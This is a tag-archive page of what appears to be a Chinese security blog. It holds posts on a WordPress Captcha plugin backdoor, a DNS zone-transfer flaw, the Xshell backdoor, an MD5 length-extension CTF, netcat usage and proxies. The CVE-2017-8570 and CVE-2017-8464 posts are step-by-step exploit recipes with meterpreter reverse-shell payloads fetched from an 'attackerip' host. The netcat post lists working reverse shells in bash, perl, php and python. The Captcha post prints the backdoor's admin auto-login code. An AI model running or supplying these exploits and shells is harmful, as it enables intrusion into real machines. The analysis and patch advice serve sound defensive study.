Tag:network security

Tag (network security)'s result:

Captcha插件后门分析和修复

0x00 前言 近日看到网上爆出wordpress官方插件captcha出现后门,大惊,本人当初千辛万苦找验证码插件,在十几个插件中选了这款,感觉还挺好用,竟然爆后门,赶紧排查,还好由于安装比较早,并没发现后门,发文纪念一下这次差点中招……   0x01 概述 据说这个后门是偶然被发现的,是因为含后门版本的作者对使用wordpress商标的问题,接着wordpress把captcha下架,继而wordfence(为wordpress提供waf的厂商)检查发现插件后门。 这个后门是更新触发,从4.3.6版本开始(本人安装的版本)就有后门,执行插件更新就会加入后门代码。这个后门利用userID(admin)创建会话,设置认证cookie,接着删除痕迹,后门是管理员权限,但是由于执行了unlink(__FILE__),所以只能被用一次。   0x02 影响范围 有300000+活跃安装 后门首次发现在12月4日的4.3.6版本,官方在12月20日删除该后门,所以4日到20日更新该插件的用户都必然被植入了后门(幸好本人懒得更新)。 受影响版本:4.3.6~4.4.4   0x03 后门分析 这里利用12月4日的4.3.6版本的源码分析 https://plugins.trac.wordpress.org/changeset/1780758/captcha Captcha.php: 首先看看cptch_wp_plugin_auto_update()函数,由函数名可以看出这是自动更新功能,其中$wptuts_plugin_remote_path = ‘https://simplywordpress.net/captcha/captcha_pro_update.php’; 请求这个文件会下载zip对该插件更新,但是本人访问已经空白无下载(20171222)。 继续往下到8394行: if(isset($_GET[‘captcha’]) and $_GET[‘captcha’] == ‘updateplugin’) 8395 { 8396 add_action(‘init’, ‘cptch_wp_plugin_auto_update’); 8397 } 表示点击更新则调用cptch_wp_plugin_auto_update()函数。 看看8390行 new cptch_wp_auto_update($wptuts_plugin_current_version, $wptuts_plugin_remote_path, $wptuts_plugin_slug); 那就进入cptch_wp_auto_update这个类看看。 cptch_wp_auto_update.php: 一堆赋值后进入 if($this->cptch_check_update())执行更新 那就来到cptch_check_update()函数看看 关键代码: $url = $this->update_path; // Local Zip File Path curl_setopt($ch, CURLOPT_URL, $url); $page = curl_exec($ch); 这个url就是https://simplywordpress.net/captcha/captcha_pro_update.php下载更新的插件zip。 接着解压更新 activate_plugins($my_plugin); 更新的zip内存在后门文件 plugin-update.php: 关键代码: @unlink(__FILE__); require(‘../../../wp-blog-header.php’); require(‘../../../wp-includes/pluggable.php’); $user_info = get_userdata(1); // Automatic login // $username = $user_info->user_login; $user = get_user_by(‘login’, $username ); // Redirect URL // if ( !is_wp_error( $user ) ) { wp_clear_auth_cookie(); wp_set_current_user ( $user->ID ); wp_set_auth_cookie ( $user->ID ); $redirect_to = user_admin_url(); wp_safe_redirect( $redirect_to ); exit(); } Unlink(__FILE__):删除自己 Get_userdata(1):获取管理员信息 Wp_clear_auth_cookie():Removes all of the cookies associated with authentication. Wp_set_current_user():Changes the current user by ID or name. Wp_set_auth_cookie():Sets the authentication cookies based User ID. 接着攻击者就以管理员进入后台。   0x04 修复方案 1. 删除后门文件plugin-update.php。 2. 查看captcha.php是否有后门链接,有则手动删除插件再安装最新版本。 3. 更新到最新版本。   0x05 结语 还好没中招,这个后门影响范围还是比较广的,中招的用户应赶紧排查更新。相关溯源参考 Backdoor in Captcha Plugin Affects 300K WordPress Sites和WordPress Captcha 插件后门事件 分析溯源报告   0x06 参考资料 https://www.wordfence.com/blog/2017/12/backdoor-captcha-plugin/ https://mp.weixin.qq.com/s/VoLu-dvx91q4OEjnJB4EjQ https://plugins.trac.wordpress.org/changeset/1780758/captcha https://codex.wordpress.org/Function_Reference/  

DNS域传送漏洞总结

0x00 概述 如果对dns不熟悉,可先阅读一文读懂域名解析流程 DNS服务器分为主服务器,备份服务器,缓存服务器。备份服务器需要利用“域传送”从主服务器上copy数据,然后更新自身的数据库,以达到数据同步的目的,这样是为了增加冗余,万一主服务器挂了还有备份服务器顶着。而“域传送”漏洞则是由于dns配置不当,本来只有备份服务器能获得主服务器的数据,由于漏洞导致任意client都能通过“域传送”获得主服务器的数据(zone数据库信息)。这样,攻击者就能获得某个域的所有记录,甚至整个网络拓扑都暴露无遗,同时节省了信息收集的时间,还提升了准确度等等。 0x01 域传送漏洞检测 1. nslookup (1)nslookup -type=ns xxx.yyy.cn 查询解析此域名的dns服务器 (2)nslookup进入交互 (3)server dns.xxx.yyy.cn 指定dns服务器 (4)ls xxx.yyy.cn列出域信息 检测结果如图: 2. dig 命令:dig @dns.xxx.yyy.cn axfr xxx.yyy.cn @指定dns服务器,axfr查询类型域传送 可以看出能获得a,ns,mx,txt等记录,nslookup好像只能获取a和ns记录。成功特征:XFR size。 3. nmap 命令:nmap –script dns-zone-transfer –script-args dns-zone-transfer.domain=xxx.yyy.cn -p 53 -Pn dns.xxx.yyy.cn 4. 批处理和脚本 Win下可以写批处理更加方便,脚本可以用dnspython或者nslookup结合dig,网上有很多相关代码可以参考。   0x02 结语 一个简单的漏洞,但危害不可小觑。   0x03 参考资料 blog.csdn.net/c465869935/article/details/53444117 www.lijiejie.com/dns-zone-transfer-1/ https://www.waitalone.cn/dns-domain-transfer-exploits.html

Xshell后门的检测修复和简单分析

0x01 概述 2017年8月,著名安全终端模拟软件xshell爆出存在后门,似乎有黑客入侵了开发人员的电脑在源码中植入后门,存在后门的是nssock2.dll(5.0.0.26)模块,后门通过向域名发送DNS请求向服务器传输用户名和密码。 netsarang的公告: https://www.netsarang.com/news/security_exploit_in_july_18_2017_build.html 0x02 影响范围 Xmanager Enterprise 5.0 Build 1232 Xmanager 5.0 Build 1045 Xshell 5.0 Build 1322 Xftp 5.0 Build 1218 Xlpd 5.0 Build 1220 0x03 后门检测 1.软件安装目录下找到dll文件,右键该文件查看属性,如果版本号为5.0.0.26则存在后门代码。 MD5:97363d50a279492fda14cbab53429e75 SHA-1:f1a181d29b38dfe60d8ea487e8ed0ef30f064763 SHA-256:536d7e3bd1c9e1c2fd8438ab75d6c29c921974560b47c71686714d12fb8e9882 696be784c67896b9239a8af0a167add72b1becd3ef98d03e99207a3d5734f6eb 515d3110498d7b4fdb451ed60bb11cd6835fcff4780cb2b982ffd2740e1347a0 c45116a22cf5695b618fcdf1002619e8544ba015d06b2e1dbf47982600c7545f 462a02a8094e833fd456baf0a6d4e18bb7dab1a9f74d5f163a8334921a4ffde8 (hash来源于网络) 2.检查所在网络是否存在对于下节IOC域名的解析记录,如发现,则有存在后门的Xshell。 ipconfig/displaydns,如果出现DGA域名(详细域名见0x07),则存在后门。 0x04 修复方案 1.升级到最新版本 2.将相关DGA域名解析到本地 0x05 简单分析 用户启动带后门的xshell后,软件加载nssock2.dll并执行shellcode获取用户相关信息。后门根据系统时间的不同,利用DGA算法每月计算出不同的域名,通过域名解析将用户信息传到黑客的服务器。 0x06 结语 xshell用户赶紧升级最新版本吧,还有下载软件最好能到真正的官网下载,有些软件是没有中文下载站的。 0x07 IOC ribotqtonut.com(2017年7月) nylalobghyhirgh.com(2017年8月) jkvmdmjyfcvkf.com(2017年9月) bafyvoruzgjitwr.com(2017年10月) xmponmzmxkxkh.com(2017年11月) tczafklirkl.com(2017年12月) vmvahedczyrml.com(2018年1月) ryfmzcpuxyf.com(2018年2月) notyraxqrctmnir.com(2018年3月) fadojcfipgh.com(2018年4月) bqnabanejkvmpyb.com(2018年5月) xcxmtyvwhonod.com(2018年6月) tshylahobob.com(2018年7月) notped.com dnsgogle.com 0x08 参考资料 http://toutiao.secjia.com/netsarang-xmanager-xshell-backdoor http://www.freebuf.com/articles/terminal/144254.html                

CVE-2017-8570 repeat

0x01.Overview In July 2017, Microsoft fixed multiple Microsoft Office vulnerabilities,including the cve-2017-8570 vulnerability which is a logical vulnerability,it is easy to use and simple,and the vulnerability is a remote code execution vulnerability for Microsoft Office. The reason for this is that Microsoft PowerPoint will initialize the “script” Moniker object when it is executed, while the object will be activated during the presentation of the PowerPoint animation, and the SCT (script Component file) will be executed. An attack can trick a user into running a powerpoint file containing the vulnerability that results in obtaining the same executive permissions as the current logon user. 0x02 Influence Microsoft Office 2007 Service Pack 3 Microsoft Office 2010 Service Pack 2 (32-bit editions) Microsoft Office 2010 Service Pack 2 (64-bit editions) Microsoft Office 2013 RT Service Pack 1 Microsoft Office 2013 Service Pack 1 (32-bit editions) Microsoft Office 2013 Service Pack 1 (64-bit editions) Microsoft Office 2016 (32-bit edition) Microsoft Office 2016 (64-bit edition) 0x03 Bug repeat Step1: python cve-2017-8570_toolkit.py  -M gen -w Invoice.ppsx -u http://attackerip/logo.doc Step2: msfvenom -p windows/meterpreter/reverse_tcp LHOST=attackerip LPORT=4444 -f exe > /tmp/shell.exe Step3: python cve-2017-8570_toolkit.py -M exp -e http://attackerip/shell.exe -l /tmp/shell.exe Step4: msfconsole use multi/handler set payload windows/meterpreter/reverse_tcp    //设置Payload set LHOST attackerip run Step5 Double click Invoice.ppsx in victim that you can get a meterpreter. 0x04 Repair Get the patch from MS : https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570 0x05 Reference http://www.ichunqiu.com  

stuxnet repeat(cve-2017-8464)

0x01 Overview In June 2017,Microsoft posted a patch for cve-2017-8464,this bug allows local users or remote attackers to execute arbitrary code via a crafted .LNK file, which is not properly handled during icon display in Windows Explorer or any other application that parses the icon of the shortcut. aka “LNK Remote Code Execution Vulnerability.”. It like stuxnet,so some people call it the three generations of stuxnet.In this article,I will repeat cve-2017-8464. 0x02 The effects of range Windows 7 SP1 Windows 8 Windows 8.1 Windows RT 8.1 Windows 10 Gold, 1511, 1607, 1703 Windows Server 2008 SP2 and R2 SP1 Windows Server 2012 Gold and R2 Windows Server 2016 0x03 Trigger conditions 1.Open automatically play(It worked!) 2.Browse the catalog(It worked! 3.Access the file directory through a network share(I did not test this) 0x04 Bug repeat Environment: Drone: win7(32bit) Attacker: kali Tools: MSF,u disk Step 1: Download the last metasploit,then copy modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb to /usr/share/metasploit-framework/modules/exploits/windows/fileformat. And copy data/exploits/cve-2017-8464 to /usr/share/metasploit-framework/data/exploits. Step 2: msfconsole use exploit/windows/fileformat/cve_2017_8464_lnk_rce set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your ip exploit Step 3: cp /root/.msf4/local/ /root/cve-2017-8464-lnk Step 4: cp the all 24 files to the root folder of the target USB drive Step 5: use multi/handler set paylaod windows/meterpreter/reverse_tcp set LHOST your ip run Step 6: insert your usb to target computer,then you will get a reverse shell. PS: the .cpl file must in  the root folder of the target USB drive! 0x05 Repair Get the patch from MS: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8464 0x06 Conclusion I think this bug is so cool,it like stuxnet,powful and easy to use,so get the patch as fast as possible. 0x07 Reference 1.https://cve.mitre.org/data/downloads/allitems-cvrf-year-2017.xml 2.http://www.4hou.com/system/6938.html 3.http://www.freebuf.com/news/143356.html  

MD5长度扩展攻击总结

0x00: MD5算法原理: 填充+压缩 先进行消息长度的填充(padding)。填充完后,初始化的4个Magic number会和第一个64字节的Message block进行md5 compress压缩算法。压缩算法完成后,会产生新的4个Magic number。这样再进行第二个64字节Message block的md5 compress压缩算法。以此类推……直到压缩到最后64个字节的(Message block + padding),最后得到的Magic number经过hex转化就是最后的md5 hash值 ************************** 术语解释: 填充: 如果输入信息的长度(字节)对64求余的结果不等于56,就需要填充使得对64求余的结果等于56。填充的方法是填充一个\x80和n个0。填充完后,信息的长度为N*64+56(字节),并且最后8个字节用来记录原始输入信息长度 Magic number: 代码中的0x67452301L, 0xefcdab89L, 0x98badcfeL, 0x10325476L这4个初始化的number(固定的)就被称为Magic number或者是md5 iv(md5 向量) ***************************** 0x01: md5长度扩展攻击: 影响的算法:使用了Merkle–Damgård construction进行数据的压缩的算法,流行算法比如MD5、SHA-1等。 当已知以下二点 md5(salt+message)的值 salt+message长度 我们可以在不知道salt的具体内容的情况下,计算出任意的md5(salt+message+padding+append)值, (注:padding是 salt+message/secret 最后的填充字节, append是任意扩展字符(串)。) 因为在进行md5(salt+message+padding+append)的时候,在对append进行padding之前的Message block,和md5(salt+message)产成的Message block一样 所以,我们就能在不知道salt的情况下,只需根据md5(salt+message)的结果,逆向出最后一次的4个Magic number。 逆向算法很简单: def compute_magic_number(self, md5str): self.A = struct.unpack(“I”, md5str[0:8].decode(‘hex’))[0] self.B = struct.unpack(“I”, md5str[8:16].decode(‘hex’))[0] self.C = struct.unpack(“I”, md5str[16:24].decode(‘hex’))[0] self.D = struct.unpack(“I”, md5str[24:32].decode(‘hex’))[0] ############################################## //此例来源于:http://www.joychou.org/index.php/web/hash-length-extension-attack.html?utm_source=tuicool&utm_medium=referral 拿admin举例,md5经过padding后,由于只有64字节,所以只进行一轮md5 compress。压缩算法完成后,产生的新的Magic number为 A=0x292f2321LB=0xa7a5577aLC=0xe4a8943LD=0xc31f804aL md5的加密结果是21232f297a57a5a743894a0e4a801fc3,我们将A大小端逆序一下,变成21232F29,刚好是md5的前8位。以此类推 ############################################## 根据这4个Magci number,再和扩展的字符串append(此时的append要进行填充,填充的长度是len(salt+message+padding+append))进行md5 compress,最后的结果即md5(salt+message+padding+append),append表示要扩展的字符串,padding表示对salt+message长度进行padding后的结果。 就是说: 关键bug(感觉不算bug,只是这类hash算法的特性而已)就在于知道md5(salt+message)的值后可以很容易逆向出最后一次的4个Magic number。 知道了这4个magic number和salt+message的长度后,我们就可以构造padding(salt+message),这样md5(salt+message+padding(salt+message))后得出就是这4个magic number(刚好是64字节),之后md5算法再padding(append),就可以在不知道salt的情况下得到md5(salt+message+padding(salt+message)+append)。 ########################################## //此例来源于www.joychou.org/index.php/web/hash-length-extension-attack.html?utm_source=tuicool&utm_medium=referral 举个实例: 已知salt的长度为4,message为admin,md5(salt+message)的值为c7813629f22b6a7d28a08041db3e80a9,想扩展的字符串append为joychou,计算md5(salt+message+padding+append)的值,padding表示对salt+message长度进行填充后的结果 c7813629f22b6a7d28a08041db3e80a9逆向出magic number为: A=0x292f2321L B=0xa7a5577aL C=0xe4a8943L D=0xc31f804aL 先对append进行padding,padding结果用padding(append) 800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003802000000000000 长度57个字节,注意最后8个字节0x238为len(salt+message+padding+append),即568bit,71字节 再用这4个magic number对append产生的Message block进行md5 compress,最后结果为06cf5a94dcda53659f58c0f411ba0bd8 ########################################################### 0x02: CTF实例cn有签名限制的读取任意文件writeup 大概代码逻辑: if url有filepath参数且不空并且有sign参数且不空,则myreadfile($_GET[‘filepath’],$mysalt,$_GET[‘sign’]);传递文件路径,salt和签名。在myreadfile函数,执行$res=checksign($filepath,$mysalt,$sign);函数到checksign($message,$mysalt,$sign)函数里校验签名,true就getfile(),false就echo ‘sign error!’; else 打印出mysalt的长度(int(32)),并打印出md5($mysalt.$message);的值(f3d366138601b5afefbd4fc15731692e),这里的message即文件路径。 所以要getflag就要能执行getfile(),要执行getfile()就要签名校验通过,要签名校验通过就要$sign==md5($mysalt,$message)。$message是文件路径由我们输入,$sign签名也由我们输入,所以如果知道$mysalt即SALT的值,就可以getfile()了,不过这里就是不知道SALT的值,那如何绕过呢,自然联想到md5 长度扩展攻击了…… 思路: 尝试读取已知的/etc/hosts lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php?filepath=/etc/hosts&sign=f3d366138601b5afefbd4fc15731692e 得 ## # Host Database # # localhost is used to configure the loopback interface # when the system is booting. Do not change this entry. ## 127.0.0.1 localhost 255.255.255.255 broadcasthost ::1 localhost 尝试读取/etc/passwd 1.已知mysalt长度32,那么mysalt+/etc/hosts=4+10=14 2.已知md5(mysalt+/etc/hosts)=f3d366138601b5afefbd4fc15731692e 满足md5长度扩展攻击的二个条件。 直接用工具吧。(相关工具见文末) Payload:lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php?filepath=%2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00%2Fetc%2Fpasswd&sign=8dcc79bf6581da3e30313a5a686261dd 显示sign error 尝试读取/etc/shadow 还是sign error 真神奇……不是说读取任意系统文件可以getflag吗?签名也是工具生成,不会错。 尝试读取/etc/hosts Payload:lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php?filepath=%2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00%2Fetc%2Fhosts&sign=75221e2e5cd1cd1c7694cbd386571ffe 显示Flag is: Md5LenghtExtAttackNowYouSee 这都可以,不是说除已经告知的/etc/hosts文件外,若能读取到任意系统文件即可获取Flag吗?又神奇了…… 还有看源码filepath是文件路径,最后getfile(),但是%2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00%2Fetc%2Fhosts这一长串是怎么识别为/etc/hosts的,又神奇了…….   0x03: 防御hash length extender attack (1)使用HMAC-SHA1之类的HMAC算法 (2)针对Flickr API等将参数签名的应用来说,secret放置在 参数末尾也能防止这种攻击。如将md5($salt.$role)替换成md5($role.$salt)   0x04: 相关工具 https://github.com/JoyChou93/md5-extension-attack https://github.com/iagox86/hash_extender https://github.com/bwall/HashPump   0x05: 参考链接 blog.chinaunix.net/uid-27070210-id-3255947.html www.joychou.org/index.php/web/hash-length-extension-attack.html?utm_source=tuicool&utm_medium=referral blog.csdn.net/u011500307/article/details/24095891                            

NC用法整理

-p 指定端口,-s 指定地址   1.端口扫描(不太好用) 扫描端口段 nc -v -z ip port-port 加上-u则扫UDP端口 可以查看banner信息。   2.正/反向域名解析 -n接受IP,不解析域名,-v可以正反向域名解析   3.聊天室 nc -l 192.168.1.2 -p 8999 nc 192.168.1.2 8999 就可以发消息给.1.2主机了   4.文件传输 A:nc -l 192.168.43.237 -p 8999 < test.txt B: nc 192.168.43.237 8999 > test2.txt B 就可以接收到A的test.txt了   5.传输目录(打包压缩) A:tar -cvf – dir_name| bzip2 -z | nc -l 192.168.1.2 -p 8999 B:nc -n 192.168.1.2 8999 | bzip2 -d |tar -xvf – B就可以接受到A的压缩文件了   6.加密数据 A:nc -l 192.168.1.2 -p 8999 | mcrypt –flush –bare -F -q -d -m ecb > file.txt B:mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 192.168.1.2 -p 8999   7.克隆一个设备 A:dd if=/dev/sda | nc -l 8999 B:nc -n ip 8999 | dd of=/dev/sda   8.重定向程序(都懂的) 正向: A:nc -l 192.168.1.2 -p 8999 -e /bin/bash B:nc 192.168.1.2 -p 8999 反向: A:nc -l 192.168.1.2 -p 8999 B:nc 192.168.1.2 8999 -e /bin/bash   假如netcat 不支持-c 或者 -e 参数(openbsd netcat),我们仍然能够创建远程shell A: $mkfifo /tmp/tmp_fifo $cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 8999 > /tmp/tmp_fifo 这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口1567上。至此,我们已经把netcat的输出重定向到fifo文件中。 说明: 从网络收到的输入写到fifo文件中 cat 命令读取fifo文件并且其内容发送给sh命令 sh命令进程受到输入并把它写回到netcat。 netcat 通过网络发送输出到client 至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。 在客户端仅仅简单连接到服务器 B: $nc -n 192.168.1.2 8999 你会得到一个shell提示符在客户端 (其他反向shell: bash: bash -i>&/dev/tcp/192.168.100.113/4444 0>&1 perl:  perl -e’use Socket; $ i =“192.168.100.113”; $ p = 4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”)); if(connect(S,sockaddr_in($ p,inet_aton (STDOUT,“>&S”);open(STDOUT,“>&S”);open(STDERR,“>&S”); exec(“/ bin / sh -i”);} ;” php:  php -r’$ sock = fsockopen(“192.168.100.113”,4444); exec(“/ bin / sh -i <&3>&3 2>&3”); python:  python -c’import socket,subprocess,os; s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“192.168.100.113”,4444)); os.dup2(s.fileno() ,0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); P = subprocess.call([“/ bin / sh”,” –        i”]);” )   9.蜜罐 nc -L 192.168.1.2 -p 80 > c:\log.txt 使用’-L’可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到’c:\log.txt’中,如果把‘>’ 改为‘>>’即可以追加日志。 //我的版本nc没有-L参数……   10.两台服务器文件校验 // 192.168.1.2 # find /etc/rc.d/ -type f|xargs md5sum|nc -l 8999   // 192.168.1.3 # nc 192.168.1.2 8999|md5sum -c -|grep -v OK 这样可比较的东西就多了,例如下面命令检查机器上的sid位: find / -xdev -type f -user root \( -perm -4000 -o -perm -2000 \)   nc神器,真的小巧又强大!   参考链接: http://blog.csdn.net/gavinr/article/details/7277507 http://www.oschina.net/translate/linux-netcat-command http://www.ddvip.com/detail/1000230090.html https://bbs.ichunqiu.com/thread-23024-1-1.html

关于代理和隐藏IP的整理

//以前了解了下代理和隐藏IP的一些内容,整理下发出来,算是一个总结,部分内容来源于网络,LSA整理而得。 代理服务器实际上是一台服务器,介于浏览器和你要访问的网站之间。当你通过代理服务器上网浏览时,浏览器不是直接到Web服务器中取回网页,而是首先向代理服务器发出请求,由代理服务器到要访问的网站上取回网页,然后再传送给你的浏览器。 1.代理服务器有超级匿名代理、普通匿名代理和透明代理三种。 其中超级匿名代理又有一级匿名、二级匿名代理之分。假如你用一级匿名代理连上某个服务器,服务器端的网管是不会知道你用了代理的、而且你的IP也查不出来!因为这种代理服务器是真正的匿名代理,它不会改变你的request fields(报文),使服务器端看起来就像有个真正的客户浏览器在访问它。目前一级匿名代理在网上很少,这种代理服务器资源很是珍贵! 至于二级匿名代理,其安全性就不如一级匿名代理了,使用二级匿名代理上网,服务器的网管虽然查不出你的IP,但是却知道你用了代理! 普通匿名代理包括三级和四级匿名代理,这类代理服务器也能隐藏你的真实IP,但是会更改你的request fields,因此服务器端也会知道你用了代理!不过这种代理会剥离你的部分信息(就好比防火墙的stealth mode),使服务器端探测不到你的操作系统版本和浏览器版本。 透明代理(五级匿名代理):这种代理会改编你的request fields(报文),并传送你的真实IP,因此假如你用这种代理上网,就不能隐藏你的IP。 2.按代理服务器的用途分类 代理服务器可以分成以下几类: Http代理(端口一般为80、8080、3128、50050等):主要代理浏览器访问网页。 SSL代理(标准端口为443):支持最高128位加密强度的http代理,可以作为访问加密网站的代理。 FTP代理(端口一般为21、2121):代理客户机上的ftp软件访问ftp服务器。 Telnet代理(端口一般为23):代理通信机的telnet,用于远程控制。 POP3代理(端口一般为110):代理客户机上的邮件软件用pop3方式收邮件。 Socks代理(标准端口为1080):是全能代理,支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议。 此外,还有TUNNEL代理、文献代理、教育网代理、Ssso代理、Flat代理等,限于篇幅,这里就不展开介绍了。 3. HTTP_HOST 网页服务器名称 REMOTE_ADDR 服务器识别出来的客户端IP HTTP_X_FORWARDED_FOR和HTTP_VIA 后面如果不为“none”, 就证明被服务器识别出使用了代理,代理服务器的地址就是后面的数值。 HTTP_ACCEPT_LANGUAGE – 浏览器所使用的语言 HTTP_USER_AGENT 浏览器类型版本以及操作系统信息。   一、没有使用代理:   REMOTE_ADDR = 你的 IP HTTP_VIA = (none) HTTP_X_FORWARDED_FOR = (none)   二、使用透明代理   REMOTE_ADDR = 代理服务器 IP HTTP_VIA = 代理服务器 IP HTTP_X_FORWARDED_FOR = 你的真实 IP   被访问的网站不仅知道你用了代理,并且知道代理的ip和你的真实ip。   三、使用普通匿名代理   REMOTE_ADDR = 代理服务器 IP HTTP_VIA = 代理服务器 IP HTTP_X_FORWARDED_FOR = 代理服务器 IP   隐藏了真实的IP,但是被访问的网站知道你使用了代理。   四、使用欺骗性匿名代理   REMOTE_ADDR = 代理服务器 IP HTTP_VIA = 代理服务器 IP HTTP_X_FORWARDED_FOR = 随机的 IP   被访问的网站虽然知道你使用了代理,但是探测到的ip是代理随机生成的一个虚假的IP。   五、使用高匿名代理   REMOTE_ADDR = 代理服务器 IP HTTP_VIA = 没数值或不显示 HTTP_X_FORWARDED_FOR = 没数值或不显示   被访问的网站会认为有真实的IP在访问它,探测不出你的真实IP,也不知道你在用代理。   另外,在“Your IP or Proxy Server Name”下面,如果是只有主机名或者只有ip地址的话,就是说是高匿名 一些工具 使用代理猎手ProxyHunter 到网站上去下载 proxysm代理超人 花刺代理验证1.8 网隐一键通 多用LastPass,10minutemail,TOR,I2P,tormail,i2pmail等工具/网站善于保护自己 善用Perfectmoney,Bitcoin等匿名货币 。 http://www.cybersyndrome.net/env.cgi   inurl:prxjdg.cgi intitle:ProxyJudge V2.  

(转)图解正向代理、反向代理、透明代理

原文地址:http://z00w00.blog.51cto.com/515114/1031287 套用古龙武侠小说套路来说,代理服务技术是一门很古老的技术,是在互联网早期出现就使用的技术。一般实现代理技术的方式就是在服务器上安装代理服务软件,让其成为一个代理服务器,从而实现代理技术。常用的代理技术分为正向代理、反向代理和透明代理。本文就是针对这三种代理来讲解一些基本原理和具体的适用范围,便于大家更深入理解代理服务技术。 一、正向代理(Forward Proxy) 一般情况下,如果没有特别说明,代理技术默认说的是正向代理技术。关于正向代理的概念如下: 正向代理(forward)是一个位于客户端【用户A】和原始服务器(origin server)【服务器B】之间的服务器【代理服务器Z】,为了从原始服务器取得内容,用户A向代理服务器Z发送一个请求并指定目标(服务器B),然后代理服务器Z向服务器B转交请求并将获得的内容返回给客户端。客户端必须要进行一些特别的设置才能使用正向代理。如下图1.1 (图1.1) 从上面的概念中,我们看出,文中所谓的正向代理就是代理服务器替代访问方【用户A】去访问目标服务器【服务器B】 这就是正向代理的意义所在。而为什么要用代理服务器去代替访问方【用户A】去访问服务器B呢?这就要从代理服务器使用的意义说起。 使用正向代理服务器作用主要有以下几点: 1、访问本无法访问的服务器B,如下图1.2 (图1.2) 我们抛除复杂的网络路由情节来看图1.2,假设图中路由器从左到右命名为R1,R2 假设最初用户A要访问服务器B需要经过R1和R2路由器这样一个路由节点,如果路由器R1或者路由器R2发生故障,那么就无法访问服务器B了。但是如果用户A让代理服务器Z去代替自己访问服务器B,由于代理服务器Z没有在路由器R1或R2节点中,而是通过其它的路由节点访问服务器B,那么用户A就可以得到服务器B的数据了。 现实中的例子就是“翻墙”。不过自从VPN技术被广泛应用外,“翻墙”不但使用了传统的正向代理技术,有的还使用了VPN技术。 2、加速访问服务器B 这种说法目前不像以前那么流行了,主要是带宽流量的飞速发展。早期的正向代理中,很多人使用正向代理就是提速。还是如图1.2 假设用户A到服务器B,经过R1路由器和R2路由器,而R1到R2路由器的链路是一个低带宽链路。而用户A到代理服务器Z,从代理服务器Z到服务器B都是高带宽链路。那么很显然就可以加速访问服务器B了。   3、Cache作用 Cache(缓存)技术和代理服务技术是紧密联系的(不光是正向代理,反向代理也使用了Cache(缓存)技术。还如上图所示,如果在用户A访问服务器B某数据J之前,已经有人通过代理服务器Z访问过服务器B上得数据J,那么代理服务器Z会把数据J保存一段时间,如果有人正好取该数据J,那么代理服务器Z不再访问服务器B,而把缓存的数据J直接发给用户A。这一技术在Cache中术语就叫Cache命中。如果有更多的像用户A的用户来访问代理服务器Z,那么这些用户都可以直接从代理服务器Z中取得数据J,而不用千里迢迢的去服务器B下载数据了。   4、客户端访问授权 这方面的内容现今使用的还是比较多的,例如一些公司采用ISA SERVER做为正向代理服务器来授权用户是否有权限访问互联网,挼下图1.3 (图1.3) 图1.3防火墙作为网关,用来过滤外网对其的访问。假设用户A和用户B都设置了代理服务器,用户A允许访问互联网,而用户B不允许访问互联网(这个在代理服务器Z上做限制)这样用户A因为授权,可以通过代理服务器访问到服务器B,而用户B因为没有被代理服务器Z授权,所以访问服务器B时,数据包会被直接丢弃。 5、隐藏访问者的行踪 如下图1.4 我们可以看出服务器B并不知道访问自己的实际是用户A,因为代理服务器Z代替用户A去直接与服务器B进行交互。如果代理服务器Z被用户A完全控制(或不完全控制),会惯以“肉鸡”术语称呼。 (图1.4) 我们总结一下 正向代理是一个位于客户端和原始服务器(origin server)之间的服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端。客户端必须设置正向代理服务器,当然前提是要知道正向代理服务器的IP地址,还有代理程序的端口。 二、反向代理(reverse proxy) 反向代理正好与正向代理相反,对于客户端而言代理服务器就像是原始服务器,并且客户端不需要进行任何特别的设置。客户端向反向代理的命名空间(name-space)中的内容发送普通请求,接着反向代理将判断向何处(原始服务器)转交请求,并将获得的内容返回给客户端。 使用反向代理服务器的作用如下: 1、  保护和隐藏原始资源服务器 如下图2.1 (图2.1) 用户A始终认为它访问的是原始服务器B而不是代理服务器Z,但实用际上反向代理服务器接受用户A的应答,从原始资源服务器B中取得用户A的需求资源,然后发送给用户A。由于防火墙的作用,只允许代理服务器Z访问原始资源服务器B。尽管在这个虚拟的环境下,防火墙和反向代理的共同作用保护了原始资源服务器B,但用户A并不知情。 2、  负载均衡 如下图2.2 (图2.2)   当反向代理服务器不止一个的时候,我们甚至可以把它们做成集群,当更多的用户访问资源服务器B的时候,让不同的代理服务器Z(x)去应答不同的用户,然后发送不同用户需要的资源。 当然反向代理服务器像正向代理服务器一样拥有CACHE的作用,它可以缓存原始资源服务器B的资源,而不是每次都要向原始资源服务器B请求数据,特别是一些静态的数据,比如图片和文件,如果这些反向代理服务器能够做到和用户X来自同一个网络,那么用户X访问反向代理服务器X,就会得到很高质量的速度。这正是CDN技术的核心。如下图2.3 (图2.3)   我们并不是讲解CDN,所以去掉了CDN最关键的核心技术智能DNS。只是展示CDN技术实际上利用的正是反向代理原理这块。 